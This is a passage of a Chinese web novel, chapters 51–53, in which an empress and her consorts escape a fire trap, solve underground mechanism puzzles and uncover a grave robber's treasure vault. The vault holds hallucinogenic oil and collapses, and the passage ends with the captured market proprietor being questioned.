适应了黑暗的侍卫急忙搬起家具抵住房门,才松下口气。然而,看清这间屋子的布局后,众人震惊得说不出话来。这是一间四四 方方的屋子,除了门,再无其他出路;除了杂物,再无其他物品。若是外头点把火,这和被关进窑坑没啥区别了。 黑暗中,庄与之一把扔了手里的刀,不顾体面地席地而坐。可当他看清屋中的布局后,脸色瞬间从白变青,又从青变黑:“你够狠,这下连退路都没了。” 西门眙圆眸眨了眨,片刻的冷静后低语:“反者道之动,弱者道之用。天下万物生于有,有生于无。”[注1] 庄与之微微蹙眉:“说人话!” 西门眙沉声道:“看似无望的死局,可能另有生机。”他看向裴源:“陛下,这间屋子必有其他出口。” 裴源喉咙一滚,虽然觉得他在扯淡,但事已至此,只能道:“你说,我们做!” 西门眙道:“找机关!可能是一根木头,也可能是一把刀剑,或者是墙上的一块砖。” 众人:“……” 众人看着屋中杂七杂八的破烂桌椅,破铜烂铁,再看看满墙的砖,惊愕得说不出话来。门外冷刃的劈砍声突然停下,丁水瑶心道不妙,忙顺着缝隙望去。一缕火光顺着缝隙映入房中:“她们要火攻!” 庄与之闻言,默默捡起了自己的刀:“算了,我还是自缢吧,这样死得体面些。” 众人:“……” 这话,也颇有几分道理。 只有西门眙还在四下拨弄着杂物,闻言急道:“来不及了,要死等会儿死,先帮忙找找机关再说。” 庄与之看向一旁伫立的裴源:“陛下,你说句话啊?” 裴源的视线从屋中杂物移向众人,沉声道:“你们谁带铜钱了?” 庄与之愣了一下,随即道:“……铜钱收买鬼差的话,是不是太草率了?” 只有丁水瑶默默将荷包递了过来,裴源接在手里,语气坚定道:“要死你死,朕还没活够呢!”说着,从中取出六枚铜钱,还了丁水瑶荷包:“火攻必有浓烟,届时不烧死也呛死了,先把门缝堵上。” 丁水瑶恍然大悟,忙招呼起众人行动。 裴源则是拿着铜钱,递给了西门眙:“来,摇一卦,缩小一下范围。” 西门眙一愣,旋即兴奋道:“陛下真聪明,我差点没想到。” 说话间,他跪地阖眼,将铜钱放在掌心轻轻摇晃,几息后松手,铜钱散落。西门眙将铜钱从上到下依次摆正,口中念念有词。 “东向。” 裴源转了一圈,尴尬道:“朕……分不清东南西北。” 丁水瑶见状,指向东侧:“这是东。” 裴源顺势望去,这个方向不仅有桌椅,甚至还有破旧的兵器,故而再问:“木?还是金?”凤眸落在墙上:“或是土?” 西门眙微微蹙眉:“好像是土?” 尽管门缝被堵住,但火势渐旺,依旧有浓烟钻入。裴源也开始着急:“什么叫好像?” 西门眙道:“因为这个卦象说的是……” “不用说原理,”裴源撕了一块裙角掩住口鼻:“直接给我答案。” 西门眙斩钉截铁道:“土生金。” 裴源微微蹙眉,沉思道:“金为钥匙,土为锁孔。”言罢,她直接攀上破桌,摸起墙壁来,还不忘对众人道:“一半人过来摸砖,有松动或能感觉到有风的,就是锁孔;另一半人观察兵器,样式特别,或者刀剑顶端有磨损的,便是钥匙。” 众人似明确了方向,队伍马上一分为二,齐齐翻找起来。只是浓烟越来越重,不多时,裴源便已眼泪直流,嗓子干痒,忍不住咳嗽起来。她只能闭着眼睛,慢慢摩挲着墙壁,就在此时,隐约察觉有道微风贴着掌心拂过,那风势很轻,轻到好似绒毛拂过。 裴源心中一颤,更加小心翼翼地确认。 “找到了!”西门眙说完这句便开始咳嗽,断断续续地又道:“……钥……匙。” 裴源转头:“拿来。” 经两位侍卫传递,一把宽扁的半截长刀传了过来。裴源眯着眼打量,刀口的锯齿果然与钥匙相近,于是慢慢将其深入适才那枚砖的缝隙中。 “咯噔”一声响入耳,裴源顿时心下一松,想也不想地扭转刀柄。而后,房中地面传出摩擦声响。 众人见势,全然面露喜色。只是那下面漆黑一片,裴源两步跳下桌子,不管不顾地踏入了台阶。 丁水瑶急道:“陛下莫急,请容卑职先行探路。小心有机关!” 凤帝的声音带着回声:“安全,下吧。” 丁水瑶:“……” 庄与之想也不想,紧随其后,西门眙亦步亦趋,其余众人见状,再不顾其他,先后跳入黑暗之中。 落地后,熏人的烟火登时不见,众人纷纷解开面罩,大口喘息。丁水瑶则是掏出火折,轻轻一晃,微弱的光线虽暗,但也将环境照得清晰。 眼前似是一道地下密道,深不见底,宽度仅有两尺,仅容一人穿过。见墙上放着一把火把,丁水瑶将其点亮后,举着火把上前。 “陛下,可需卑职先行探路?” 裴源拍着西门眙的背,听他咳嗽声小了些,才道:“一起吧,也能有个照应。” 丁水瑶点头:“那陛下还是走在中间。” 说着,号令队伍,自己带一队前头带路,留下一队断后。众人似一列蚂蚁一般,有条不紊地依次穿行。 时间似过了很久。 地道的空气潮湿阴暗,虽然缓解了众人的烟火呛,却很快让人背脊生寒。 裴源微微蹙眉:“感觉不太对劲,我们好像在原地打转。” 会场的后院虽很宽敞,倒也不至于走了这么久还没走到尽头。 庄与之道:“铜钱还在吗?在摇一卦?” 西门眙道:“你当我是什么?说来就来?” 庄与之撇嘴:“人家江湖骗子一天还能摇三卦呢,你这一次就不行了?” 西门眙不满:“人家江湖骗子还知道要法金呢?怎么不见你提?” 庄与之:“要钱?好说啊!要多少?给你便是!” 西门眙:“你……” 裴源本就心烦,听到此处转过身,照着二人的头一人赏了一把掌:“吵吵吵!斗鸡嘛?一言不合就吵!再吵回去就把你俩都休了!” 西门眙:“……” 庄与之:“……”【你现在阅读的是 】 50-60 第51章 第51章晋江文学城 西门眙抿着嘴不敢说话,庄与之低着头不敢吭声。 气氛瞬时安静下来,众人只听凤帝的呼吸声由重变缓,石壁潮湿,水滴凝结滴在火把之上,燃烧的火焰发出了一声爆鸣,火焰跳跃着,将众人的影子拉长又缩短。 裴源下意识望向丁水瑶手中燃烧的火把,沉道:“眼睛会骗人,灭了它。” 众人均是一愣,丁水瑶亦在短暂的沉默后,遵命:“是。” 火把传出一声嘶响带走了唯一的光源;一缕青烟化作云烟雾,飘入众人的鼻腔。漆黑的环境里,丁水瑶的声音带着回响:“陛下,继续向前吗?” 凤帝深沉的声音回应她:“继续向前,朕来带队。” 众人闻言,齐声开口:“陛下不可!” 裴源已自顾推搡开挡在身前的侍卫,一路行至丁水瑶的前面道:“彼此照应好前后的人,跟着朕走。” 地道伸手不见五指,裴源一路小心摩挲向前,身后的众人默契的保持一定距离,一时间,只有众人轻微的脚步声在地道回荡。 墙壁湿润粗糙,空气中弥漫着发霉的气息。偶有凝结的水滴悄然落下,滴落在众人的头上、肩膀、手臂,凉的彻骨,像是在提醒着黑暗中迷途的众人。 久久,裴源感觉自己的呼吸在寂静中显 得格外清晰,她甚至能听到自己心跳。过于专注之下,她竟察觉到一丝细弱的风,那风很轻,吹起额间垂落的发丝拂在脸上,她一时分不清是前行步伐生出的风,还是本就属于黑暗的产物。 于是她试探寻找风的来路,黑暗中没有光线,只能依靠触觉去感知。细弱的风似变的有了力量,她愈发坚定先前,却不想被一块坚实的石壁拦住了去路。 众人脚步惯性,撞了人后堪堪停下步子。 丁水瑶似有所觉:“陛下,可要点火?” 裴源不语,只轻轻摩挲着湿润的墙壁,终察觉到有弱风从墙缝中钻入,似感受到身后队伍的紧张。裴源才低声说道:“好。” 火焰的燃烧又给黑暗带来了一线光明,众人在短暂的适应后,就见凤帝耐心的摩挲着挡在她身前的每一块石壁,终于,动作一顿。 丁水瑶急道:“陛下,小心有埋伏,卑职来吧!” 裴源并未坚持,与她换了位置后号令众人贴着墙壁站定,丁水瑶试着用力去推石门,石头摩擦的窸窣声响后,一阵短暂疾风涌入,石门变的轻巧起来,不过须臾,石门大敞,露出了一间宽敞的耳室。 丁水瑶并未鲁莽,只将佩刀点击地面,步步试探,小心踏入:“安全。” 众人这才松了口气,依次鱼贯而入,排在末尾的侍卫突然指着身后说道:“那是不是我们刚刚下来的地方?” 裴源望过去,虽然火把的光亮微弱,可从模糊的空间判断,正是刚刚下来的地方。 丁水瑶望着刚刚取火把的凹槽道:“难怪这火把上的猛火油如此充足,看来就是为了迷惑意外的传入者,点燃后,人会下意识一路向前,路径狭窄,又只有一条路,会让人迷失方向和时间,从而一条路走到黑。” 众人点头附和:“这榷场的掌柜真是歹毒。” 裴源打量着耳室,耳室四四方方,四周墙壁上雕刻着青龙、白虎、朱雀、玄武四象。奇怪的是,那四象都没有尾巴,反而在下方印刻着奇怪的符文。 耳室的中间放着一个四方石台,四角凸起,像是形状各异的把手。她试着扭动把手,并无松动,但从缝隙来看,应该是嵌入其中。恐需要什么机关才能取下。 她闻言,淡淡道:“富贵人家的墓地都要建造一处假的墓穴用以迷惑盗墓者;更何况兴盛了多年的榷场?为了藏起金银,总要动些脑筋。” 她默了默,赞叹道:“这公孙白秋的脑回路果然不能以常人的思维去揣度,譬如刚刚那间杂物房,建在角落合情合理,里面堆满了杂物,也能让人放松警惕。最重要的是,它还不落锁。就那么堂而皇之的命人随意进出。到真应了那句:最危险的地方,倒也最安全。” 西门眙也在观察着耳室,瞧着墙上的四象图案,可听裴源提及‘墓穴’二字,瞬间了悟,若这耳室当真连接着装有金银的储藏间,那这公孙白秋的确是用建造墓地的方式,在制作自己的藏宝阁。 丁水瑶则是不解:“陛下若要抄了这榷场,随意找个名头,派兵来围剿便是,何必亲自犯险?” 另一侍卫卫玉涵道:“陛下是圣明之主,如何做得地痞无赖之举?岂不会落人口实?” 裴源面无表情:“都要将人家的财产占为己有了?朕还称得上圣明之主?” 卫玉涵:“……” 裴源笑笑,行至卫玉涵面前拍了拍她的肩膀以示安抚:“这天下诸多精美华物,大多是各地官员四下搜罗,历经兜兜转转,最后的归处,一定是进了宫廷之内。就算是有沧海遗珠散落民间,谁不是巴巴的守着藏着?可玉镇这么一个小小榷场,每月开市两日,一夜竞拍宝物竟高达五十余件,你们可想过这些东西?这些拍品,她们是从哪里来的?” 耳室之中静默无言。 数息后,丁水瑶试探道:“倒卖御赐之物,乃诛九族的罪过,即便榷场与皇室有所勾结,可禁军层层把手,一个月送出几件便也罢了,此地与京城不过十余里,若是新的御赐之物,必会引来注意。所以这一百余件的拍品,只能是她们从……皇陵之中所得。” “不错,”裴源沉道:“她们盗了我们裴家的墓,朕拿回她们的拍资,合情合理。至于为何不派兵?第一,朕不知该派谁;第二,这榷场实在能耐,谁知朝堂里有没有她们的人通风报信;第三……” 裴源冷笑一声:“朝廷的国库就像一个无底洞,无论添了多少金银进去,总会空虚。索性朕独吞了这笔巨款。好过需要用银子的时候备受掣肘。” 室中又是静默良久,一直静默无言的庄与之突然忍不住说道:“陛下不用与臣等解释这么详细。” 裴源随口道:“因为你们都是朕最最信任之人啊。” 众人心头一颤,丁水瑶更是带领众人跪地道:“能得陛下信任,是卑职等的荣幸,卑职等定当肝脑涂地,以报陛下知遇之恩!” 声音气势如虹,回响声穿过石洞环绕不绝,仿佛要将石壁都震得颤动,直击人心。 凤帝深受感动,忙上前相扶,眸中光芒闪烁,语气温和饱含诚意:“朕登基三载,倍受群臣鄙夷糊弄,若非诸位鞍前马后,替朕分忧解难,朕恐要被群臣压迫得喘不上气。你们的忠诚与付出,朕铭记于心,绝不辜负!” 她顿了顿,目光扫过众人,语气愈发坚定:“今日危机,由你们陪朕一同面对,也算是朕与凤鸣卫的姐妹们同生共死了一回!朕无以为报,此行若顺利归巢,朕必重重恩赏凤鸣卫所有姐妹!” 众人心有所感,丁水瑶坚定回应:“陛下放心,卑职等定护陛下周全,且要将榷场的金银,全部搬回陛下的私库。” 西门眙听到此处,心中激荡,直接一头涌入了裴源的怀里,声音哽咽道:“能得陛下信任,臣三生有幸,只要陛下不休了臣,臣必对陛下赴汤蹈火。” “傻小子,朕还指望你破解这些机关带朕逃出去呢,哪里舍得休了你,适才不过说的气话罢了。”裴源摸摸他的头:“你郭哥哥现在生死未卜,还等着你去救呢,乖,快想办法带朕过去。” 西门眙闻言起身,随手拂了脸颊上的泪,正色道:“臣好像一经找到了打开这耳室的机关,不过需要几人合力。” 丁水瑶忙道:“淑君吩咐便是!” 西门眙指着四方石案上的把手道:“大家仔细看看着把手,其实是四条尾巴,对应的正是四象,我们要将四尾的方向与墙上的四象归一,而后像钥匙一般一起扭转,便可打开这耳室的门。” 丁水瑶蹙眉道:“可这尾巴根本就动不了。” 西门眙道:“四象下面的符文便是提示。”他行至青龙图下,指着符文道:“此符文大意为龙腾九天,先动后静。我的理解是,向上,后归于原位。” 他有指着白虎下的符文道:“虎踞山林,左顾右盼。向左,再向右。” “朱雀展翅,上下起舞。向上,再向下。” “玄武镇水,内外兼修。向里摁压,再提回原位。” 他言此,看着丁水瑶道:“我需要四个人站在四个方位,按照我刚刚说的口诀,一同动,兴许就能取出四尾。” 丁水瑶马上招呼另外三人分别站在一角,随着口令,同时摆弄把手,奇怪的是,明明刚刚纹丝不动的把手,此刻竟轻松拨弄开来,甚至按照西门眙的口令摆动后,石台竟发出了一声轻微的震动。 众人下意识警戒起来,却不想,刚刚嵌入石台的四个把手竟自动脱落在地。 丁水瑶眼眸微亮,看着西门眙的目光都带着敬仰:“真是神了!” 西门眙被赞的脸色一红,不好意思的挠挠头后,指着墙上四象的图案道:“我试过了,四象尾巴下的石块是松动的。现在你们一同插入石尾,同时扭转,定能开启耳室。” 数息光景,随着脚下震颤,室中石台竟缓缓裂开四瓣,而后,出现一条深不见底的石阶。 丁水瑶 这次不等裴源发话,先一步跳入其中探查情况。 西门眙则受不了众人敬佩的注视,悄无声息的躲在了裴源的身后。 裴源轻笑着侧头看他,却意外瞧见庄与之立在她的不远处颔首不语,似察觉到了女子的注视,才缓缓抬头看着女子,凤帝虽嘴角含笑,可眸色微深,仿佛正饶有深意的盯着自己。 他正要说些什么,丁水瑶的声音从下方传上来:“陛下,安全!” 众人不再犹豫,依次步下石阶,先下石阶的裴源还不忘在下驻足,去扶两位郎君,轮到庄与之时,男子的手刚搭在裴源的手臂上,忽闻女子低声道:“台阶湿滑,德君小心才好。” 庄与之指尖微颤,两息后,方才小心翼翼的步下台阶。 又是一条甬道,众人一路向前时,忽闻刀剑击打石壁的声响,裴源眸色一凛,急急忙忙加快步伐,行至尽头时,又是一块石壁。 丁水瑶用力推开,石头摩擦地面的声音似引起内部众人的主意,刀剑声同时停止,随着石门缓缓而开,裴源一眼瞧见举着刀剑的神色警惕的郭嘉安、牧山一行人等。 他们似一直找不到出路,只能凭借手中的利刃击凿石壁,不知凿了多久,每个人的利刃都出现了卷刃裂口。 瞬间,郭嘉安如风一般突然冲到了裴源面前,桃花眼眸将她从上打量到下:“还好,还好,陛下没受伤。” 裴源微微蹙眉,稍显嫌弃道:“就是说……实在找不到路的话,你能不能稍稍动动脑子?” 郭嘉安:“……” 郭嘉安负气行至一旁坐在石阶上,没好气道:“陛下好没良心,枉臣发了疯似得。” 裴源摸摸鼻子,几步行至他的身侧:“朕没有怪你,就是担心你们,万一力竭时被敌人钻了空子,那死的何其冤枉?” 郭嘉安似泄了气的鹌鹑,拄着一把破剑,颔首将头藏在双臂之间,久久未曾回声。 在裴源眼中,郭嘉安宛若一只高傲的孔雀,不是在开屏,便是在开屏的路上,何曾有过眼下这般颓废模样?裴源察觉他情绪不对,忙俯下身轻声道:“怎么了?” 郭嘉安沉默不语。 裴源只得下了一节台阶,从他双臂之间俯看他的眉眼,光线昏暗,裴源也瞧不出什么,只觉得他此时有些落寞。于是想了想,安抚他道:“公孙白秋如狡兔一般,你平素生活在后宫,又是临危受命,短短两日,未曾探查出榷场后院有这么多诡谲的机关,不是人之常情吗?朕真的没有怪你,你也不必过分自责。” 郭嘉安依旧不语,只是垂着头缓缓抬起,不知是颔首太久眼中不适,还是这地下阴暗潮湿,郭嘉安只觉得眼前一片朦胧,所以瞥开视线不去看她。只低语道:“陛下什么不知道。” 裴源轻叹一声,无意间瞥见他拄着剑的手擦伤遍布,于是拉过他的手,取出帕子,替他简单包扎:“朕自不知你这小儿郎的心事。朕只知道,现下,我们都在一起,只要我们众人一心,相互信任,一个小小的地下机关陷阱,算个屁!” 郭嘉安:“……” 郭嘉安无奈苦笑。 裴源这才起身,伸出手道:“好了,快起吧。” 郭嘉安轻叹一声,伸手与之重重一握,‘啪’的一声响后,被女子拉着起身,几乎与女子贴面。他心念一动,正准备做些什么,却被突然小跑过来西门眙打断了气氛:“陛下,臣知道怎么出去了。” 裴源这才得空打量起眼前的暗室,如果说之前的耳室四四方方,那么此间便是八面玲珑,八扇墙壁刻有‘乾、坤、震、巽、坎、离、艮、兑’,同样的,下面刻着奇怪的符文,室中间位置则是一张八仙石桌,同样对应着八个卦象,上面有个凹槽,凹槽之内摆放着八枚玉石令牌,令牌无字,不过颜色各不相同。 同样的,玉牌嵌入其中纹丝不动。 裴源狐疑追问:“此间机关,与上一间开启的方式相似吗?” 西门眙想了想道:“一样,也不一样。更复杂一些,但原理相通。” 裴源眉头紧缩,反问他道:“如果你是公孙白秋,会用同一机关制造出两个密室吗?” 她默了默,指着符文又道:“如果这些符文还是解密的密码,那朕真有些糊涂了,这公孙白秋是善人不成?设了谜题却又给了答案?它是挡住一些不懂符文的人,比如你的郭哥哥。可万一……遇到一个通的,譬如你,那这密室存在的意义又是什么?” 西门眙眨了眨眼,半晌后,嘀咕道:“好像是有些奇怪哦。” 裴源静默数息,又道:“此间密室是游廊的地砖开启后坠落,那应该离地面很近。可适才,我们明明是沿着台阶向下的后,一路寻过来的。” 她话音一顿,给了西门眙一个反应的时间,见他似还有些混沌,便又道:“我们下来时,途径那条甬道,若是照明前行,便是在原地绕圈;那么同理——” 西门眙恍然大悟:“陛下是说,这两间密室可能是在上下转圈?” 见裴源点头,西门眙又是不解:“可公孙白秋为何要这么做?” 裴源沉吟道:“有两种可能,要么,就是要困住外来人,让她们在这地下无尽循环;要么,墙上所给的符文密码、以及你看到的都是障眼法,真正的入口,或是出口,则是要摒弃这些玄之又玄的提示。” 西门眙圆眸轻眨,喃喃低语:“摒弃?摒弃?” 他似心有所感,慢慢踱步开始观察起房间的每一处细节,每一个角落,尤其是那些容易被忽略的地方。 众人闻声而动,亦开始仔细搜寻,无论是墙壁的接缝、石台的底部、头顶还是地下的每一块砖石,众人都看的十分仔细。 终于,庄与之的声音打破宁静:“臣,找到了。” 第52章 第52章晋江文学城 那是一个小洞,在四块古砖拼接的缝隙间隐匿,孔洞实在微小,若非庄与之慧眼察觉,即便众人反复搜寻,亦不过匆匆一瞥,旋即忘却。 郭嘉安的桃花眼微挑,落在庄与之的脸上满是探究:“德君的眼睛倒是好使,这都能发现。” 庄与之轻哼一声:“臣见陛下摩挲砖缝探风,不过是有样学样罢了。” 裴源未曾理会两君争吵,只从发间拔下一支簪探入洞中,竟感到有一丝微妙的弹力。她心中一喜,愈发笃定用力探入。只听“咔”然一声,整个石室地面微微震颤,仿佛整个石室都在扭曲一般。 牧山、丁水瑶等人毫不犹豫,立即将帝君等人护于中央。众人凝神屏息,紧张探查着四周,发现刻着“离”字的石墙缓缓开启,露出一间更为深邃漆黑的内室。 石门全然开合时,黑暗中忽地燃起一道火焰,而后,那火焰便似火龙般瞬间蔓延。不过数息,石墙上那圈火槽全部点亮,将整个空间照得亮如白昼。 众人眼前豁然开朗,而后愣在原地。 因为那内室之中,金银财宝层层叠叠,堆满石室,环绕摆放,仿若在向久违的主人张开怀抱,静候归来。 即便裴源贵为天下之主,平日见惯奢华,此刻也被这金光闪烁的财宝晃得眼花缭乱,目瞪口呆地伫立原地,久久回不过神来。 侍卫中,早有人抑制不住心头激荡,缓缓迈步后脚步变的急速,冲入黄金堆里。 第二个人紧随其后,然后是第三个、第四个……而后几乎是一拥而上。 她们似乎忘了凤帝的存在,更忘了自己身份和目的,直接抓起金锭放肆的大笑着:“是金子,真的是金子,哈哈哈哈哈,发财了,我发财了……” 牧山亦沉溺在金银给她带来的震撼之中,可不过片刻,只觉眼前一阵迷雾,她揉了揉眼,内室的金银堆竟成了万剑盅,最高处的那一柄剑,居然是大名鼎鼎的星渊剑,那剑长约三尺三寸,剑身纤细而修长,通体泛着淡淡的幽光,仿佛是黑夜中璀璨的星辰。 她想也不想的飞身而去,就要拔下仔细观摩。 很快,环护在帝君众人接二连三冲入内室,就连郭嘉安、西门眙、庄与之亦在其列,他们的表情或是沉醉、或是享受、或是达成心愿的完满。 裴源觉得哪里不对,她试图去召唤众人,却突然头疾复发。 头疼欲裂时,眼前如跑马 灯般光景流转着,很快,她看到了一个女子,那女子消瘦欣长,皮肤是健康的小麦色,梳着利落的马尾跪在自己的面前:“草民蒙殿下救命之恩,没齿难忘。草民对天发誓,此生愿为殿下赴汤蹈火,绝无二心。” 殿下? 裴源愣愣的看着她,发现女子抱拳的手上,有一个刀疤,那似乎是一个贯穿伤,也让裴源明白了她的身份,她正是行刺太女时,被自己一刀刺穿掌心的刺客,居望舒。 居望舒家中本是富甲一方的商贾,却被太女设计侵占,一个莫须有的罪名,害得家中父母亲族全部入狱,就连自己的新婚夫郎,亦因美色惨遭凌辱。她苦心谋划数日,终于在宴会那日埋伏,想要取下太女的首级。 她是抱着鱼死网破去的,虽未成功,但也重伤了太女,更庆幸的是,她在裴源的暗助下逃出了宴会。 一个月后,她来向裴源投诚,裴源只是淡淡看着她:“你误会了,太女遇害,本宫亦不会好过,所以本宫不是在救你。你走吧,本宫不过不入流的皇女,身边不需要亲随。” 居望舒并不放弃,日夜鞍前马后,跟随左右,不气不馁,裴源终抵不住她的诚心,接纳于她。两人看似主仆,实则裴源早已将她视作姐妹,真诚相待。 春去秋来,两载光阴,裴源从不受宠的皇女,成为了稍有话柄的王卿,彼时的她身边亦有追随自己亲卫,可待居望舒依旧亲切,她视居望舒为知己伙伴,放心将后背交付之人。 彼时,西南的宁瑞郡引发虫灾,蝗虫吃光了良田,断绝了生计,百姓流离失所,饥荒与盗匪四起。凤帝怜悯百姓,派裴源赈灾安抚,队伍日夜兼程赶到宁瑞郡,安抚百姓,控制虫灾,眼看局势即将好转。 可就在分发粮食的前夜,发生了意外。 居望舒突然反水,趁夜潜入粮仓放火烧粮。裴源似有所觉,赶到粮仓时,火势已然蔓延。她质问居望舒缘何如此? 居望舒见事情败露,不再遮掩,冷漠出声:“太女欺我家人,夺我家业,辱我夫郎。我苦练武艺,只为手刃大仇,却被你横加阻挠!你竟还自以为是,以为自己是在救我?” 裴源呆立在火海之中,居望舒却觉得她很可笑:“你任由太女被我所伤,我知她必不会放过你。我忍辱负重,跟在你身边,撺掇你与太女对立。可你呢?整日自诩遗世独立,不屑名利场的争端,被人欺负到头上也只会不痛不痒地反击,满口仁义道德,坚守底线?呸!你就是一块扶不上墙的烂泥!” 粮仓瞬间化为一片火海,不可置信的裴源在灼烤下慢慢回神,她不可置信的质问:“你对我不满,报复我便是,为何要火烧粮仓?你知道你烧毁的是多少百姓的救命粮?” 居望舒神色癫狂,在火焰下显得格外狰狞:“什么狗屁百姓?她们的生死与我何干!我是商人,商人逐利,我只为利己!你既不能助我复仇,那我便将你视作跳板,此行毁了你,便是我叩开昭王卿府的砖石!” 说罢,她毫不留情地向裴源挥出一柄暗器。裴源万万没想到她会对自己下此狠手,错愕间闪身,手臂还是被刺入利刃。她惊愕地看着居望舒,却见对方冷笑:“殿下何必如此错愕?你刺穿我的掌心,我刺伤你的手臂,礼尚往来,天经地义!” 居望舒说罢,转身逃离火场,仿佛那两年相处并未有一丝一毫值得她眷恋之处,毫不留情的留下负伤的裴源在火海中挣扎…… ‘阿源!阿源!’ ‘陛下!陛下!’ 眼前画面如迷雾散去,头部的疼痛隐隐欲犯,却已不是难捱的程度,她试着睁开眼,才发觉自己躺在陆长行的怀里。 陆萧玉、乌宛白等人亦在左右,每个人脸上都系着面巾,见她醒来,眼露喜色。 乌宛白几乎泪流满面:“陛下无碍便好。” 裴源挣扎坐起,内室的金银依旧,癫狂的众人也依旧疯癫,他们都沉溺在各自的梦境里。 她无力道:“这是怎么回事?” 陆长行道:“臣等一进来就闻到一股特殊的气味,然后就见众人神色癫狂,所以命人捂住了口鼻,一番探查,似乎是那火油里藏着致幻之物。” 裴源头疼依旧,阖眼扶额,声音无力:“空气闭塞,待久了的确让人不适。” 她缓了缓气息,再度抬眼,目光扫过那群深陷癫狂的众人。 墙上的火光跳跃,清晰的映照着每一张扭曲的面孔,仿佛那火油能将人内心深处最炽热的欲望点燃,她们完全沉溺在虚幻的完满之境,无法自拔。 有人眼中闪烁着对万贯家财的贪婪,有人脸上洋溢着功成名就的狂喜,还有人沉浸在志得意满、心愿达成的幻梦里,如痴如醉。 众生百态尽显无遗,一时间赤果果的展露在她眼前。 凤眸依次扫过所有人,最后落了西门眙的身上,少年的面容比之众人平和清朗,温厚淡然。他沿着八面墙走的缓慢,时不时抬眸看着墙上符文和八卦,手恰着诀,念念有词,火光将圆眸点亮,他完全沉寂在自己的术法之境。 忽而,他似算出了什么,疾步行至写有‘离’的那面墙上。 像个呆小孩。 陆长行顺着裴源的视线望去,恰见西门眙摁下了一块青石。 这原没什么,可不过两息光景,柳叶眸忽而一凝:“你们有没有听到什么声音?” 那是一阵细微的窸窣声,声音仿佛从头顶传来。众人下意识仰头,陆萧玉一脸惊愕,呆呆道:“我是不是眼花了,怎的觉得天花板在晃动?” “什么在晃!”陆长行厉声道:“那是要塌了!快,带上人跑!” 陆长行说罢,将裴源打横抱起,毫不迟疑的冲出洞口。 乌宛白反应迅捷,就近拉住了郭嘉安紧随其后,不忘喊道:“德君与淑君就交给你了。” 陆萧玉飞身至西门眙与庄与之身侧,厉声呵道:“还愣着干什么?带人跑啊!” 说话间,头顶的震动愈演愈烈,众人再不迟疑,冲到沉溺幻境的人身边,连托带拽地拉人。 陆萧玉才冲至洞口,忽闻内室传来一声惊天巨响,似天崩地裂一般,震得她脚底发麻。她循声望去,只见内室被一块巨石砸落坠地,明晃耀眼的金银与还没来得及被拉走的侍卫,瞬间被埋入废墟之中。 众人一时呆在原地。 巨大的震动声成功将沉溺在幻境之中的众人唤醒。 短暂的懵然后,了悟目前境地的牧山只觉得后背冷汗涔涔,其他惊醒的众人亦是心跳不止。彼时,头顶也开始有零碎石子坠落,不知是内室的巨变引发了连锁反应,还是崩塌本就是它的宿命,众人只觉得整个石室都在震颤。 众人再不迟疑,纷纷逃离。 石室的石块越坠越快,仿佛整个天地都在地动山摇。很快,漆黑的甬道里也受到了波及,众人只能凭借直觉一路前行,而跌落的石块就在身后步步紧追。 万幸队伍乱中有序,一路跑回了耳室,又跑回了杂物间的入口。 杂物室外,肆虐的大火已被彻底扑灭,焦黑的灰烬混着水凝成黑泥,遍布整个房间。 空气中残存的浓烟气味依旧浓烈,却又夹杂着水汽,逃出升天的众人连呼带喘,一口呼吸下去,本就快要炸开的心肺仿佛更加撕裂刺痛。万幸有留守在外的侍卫照应。 见队伍人数寥寥,较之先前已折损大半,终于有人忍不住打破了沉默:“其他人呢?” 粗重的喘息声,似因这句问话而变的细弱,沉重的窒息感缓缓在空气中弥漫。众人皆颔首沉默,无人出声。 角落里的西门 眙双手抱膝,将头埋在臂弯之中,身体不受控的颤抖。 他想起来了,全部想起来了。他以为自己摁下的是通往生门的钥匙,未曾想,竟打开了通往死路的桥梁。 巨石倾落,石室崩塌,震耳欲聋的巨响下埋葬的众人,皆因他的一念之差。 他,竟是石室崩塌的罪魁祸首。 啜泣声在死寂的空气中显得格外刺耳,裴源的目光从灯火通明的庭院缓缓移向角落的男子。复杂的情绪在眸中一闪而过,尽管心绪复杂,可开口时,声音只剩下平静:“诸君受惊了。君后,替朕好好安抚他们。” 陆长行颔首应是,抬首间,凤帝已迈步行至庭院,那庭院里跪着数人,都是他带队围剿,成功捕获的榷场众人。 甚至还有一张熟悉的面孔,只是多年不见,不知他的阿源,还记不记得那张脸…… 第53章 第53章晋江文学城 今夜似格外漫长,虽才至子时,裴源却似已历经无数日夜。满月高悬天际,随着时间推移,缓缓向西边垂落,清辉洒落,万物皆被照得明晰。 裴源又看到了那张脸,原主数次的记忆闪回,她所见的面孔大多已离世,故而当她再次看到居望舒时,竟有些恍惚。 居望舒的模样和记忆中的样子大为不同,往昔的小麦色肌肤变得白皙,曾经消瘦的身形如今圆润了许多。或许是安逸的生活过久了,记忆里那双阴沉而锐利的眼睛,此刻竟显得有些呆滞。是以,当她看到裴源时,眼中的惊愕才显得那般明显。 裴源心中暗忖,若原主尚在,此刻定有许多话要与这位旧友倾诉。然而,如今这具身体已换了魂魄,所以再次见到居望舒,除了那一瞬的恍惚,裴源实在懒的在将精力倾注在一个忘恩负义的叛徒身上。 裴源对榷场的账簿更感兴趣。 夜半清幽,连风都极少涉足,乌宛白托举的火把火焰平稳,只偶尔发出一声爆鸣,打破宁静。 账本为公孙白秋亲笔所书,字迹工整,记录清晰。其中详细记载着每一件拍品的来历:从盗取的时间与地点,到最终的成交人与金额,每一个环节都毫无遗漏。裴源一页页翻阅下去,心中竟隐隐生出一丝惜才之意。 这位掌控着拍卖会场半壁江山的掌柜,敛财无数,金银堆积如山,却仍对自己有着近乎苛刻的要求。每年必须亲自盗墓两次,且对盗出的陪葬品,无论数量还是质量,都有着严格的标准,KPI指标逐年递增。 可谓是裴源穿越以来,见过的对自己最精益求精的务实牛马。 一册账簿翻至尽头,裴源好整以暇地望着跪在首位的公孙白秋。此时的她虽稍显狼狈,但年逾四旬的沉稳气质依旧难掩。她深谙发丘之术,数次深入阴暗墓中,所以周身上下透着一丝阴邪之气,尤其那双鹰眼,虽目光浑浊,可眼底阴森,盯的久了,令人心底发寒。 察觉到凤帝的注视,公孙白秋缓缓抬眼。她似已预料到今夜难逃一死,鹰眼中带着晦暗的死气。明明心中怕得要死,却仍用尽全身力气挺直脊背,试图在最后时刻保持一丝尊严。 裴源斜睨着她,淡淡启唇:“裴若淑是你杀的?” 公孙白秋沉默不语,低垂着头,似在思索该如何应对。 可陆萧玉却不容她在凤帝面前如此造次,手中的刀剑毫不留情刺穿了她的脚踝。利刃刺裂骨肉,沉闷声响后,就是女人的惨叫声,太过惨烈,所以在寂静的夜中显得格外刺耳,闻声者无不噤若寒蝉。 